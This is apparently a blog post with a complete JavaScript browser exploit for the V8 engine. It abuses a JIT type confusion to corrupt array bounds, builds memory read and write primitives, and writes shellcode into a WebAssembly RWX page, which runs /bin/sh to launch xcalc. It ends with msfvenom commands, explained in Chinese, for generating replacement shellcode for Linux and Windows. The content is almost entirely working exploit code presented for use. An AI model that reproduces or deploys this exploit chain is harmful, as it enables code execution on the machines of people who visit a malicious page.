<script> let buf = new ArrayBuffer(8); let f64 = new Float64Array(buf); let i64 = new BigUint64Array(buf); const ftoi = x => { f64[0] = x; return i64[0]; }; const itof = x => { i64[0] = x; return f64[0]; }; let x = false; let a = []; function foo(p) { return a.pop(Reflect.construct(function() {}, arguments, p)); } let p = new Proxy(Object, { get: () => { if (x) a[0] = 1.1; return Object.prototype; } }); const bar = () => { for (let i = 0; i < 10000; i++) { x = i == 10000 - 1; a = Array(0x100); foo(p); } return a; }; let cor = bar(); let oob = [1.1, 2.2, 3.3]; /* flt.elements @ oob[10] */ /* obj.elements @ oob[18] */ /* rdw.elements @ oob[25] */ let flt = [1.1, 2.2, 3.3]; let obj = [{a: 1}]; let rdw = [1.1, 2.2, 3.3]; cor[133] = itof((1337n << 33n) + (ftoi(cor[133]) & 0xffffffffn)); console.assert(oob.length == 1337); oob[10] = oob[19]; const addrof = o => { obj[0] = o; return ftoi(flt[0]) & 0xffffffffn - 1n; }; const read = p => { oob[25] = itof((3n << 33n) + p - 8n + 1n); return ftoi(rdw[0]); }; const write = (p, x) => { oob[25] = itof((3n << 33n) + p - 8n + 1n); rdw[0] = itof(x); }; let wasm = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a, 0x0b ]); let module = new WebAssembly.Module(wasm); let instance = new WebAssembly.Instance(module); let rwx = read(addrof(instance) + 0x68n); /* DISPLAY=':0.0' xcalc */ let shellcode = new Uint8Array([ 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e, 0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05 ]); let abuf = new ArrayBuffer(shellcode.length); let view = new DataView(abuf); write(addrof(abuf) + 0x14n, rwx); for (let i = 0; i < shellcode.length; i++) { view.setUint8(i, shellcode[i]); } instance.exports.main(); </script>
MSF使用,生成shellcode:
Linux
msfvenom -p linux/x86/exec CMD="DISPLAY=':0.0' xcalc" EXITFUNC=thread -f num
Windows
msfvenom -a x86 -p windows/exec CMD="calc" EXITFUNC=thread -f num
本文作者为MCtech,转载请注明。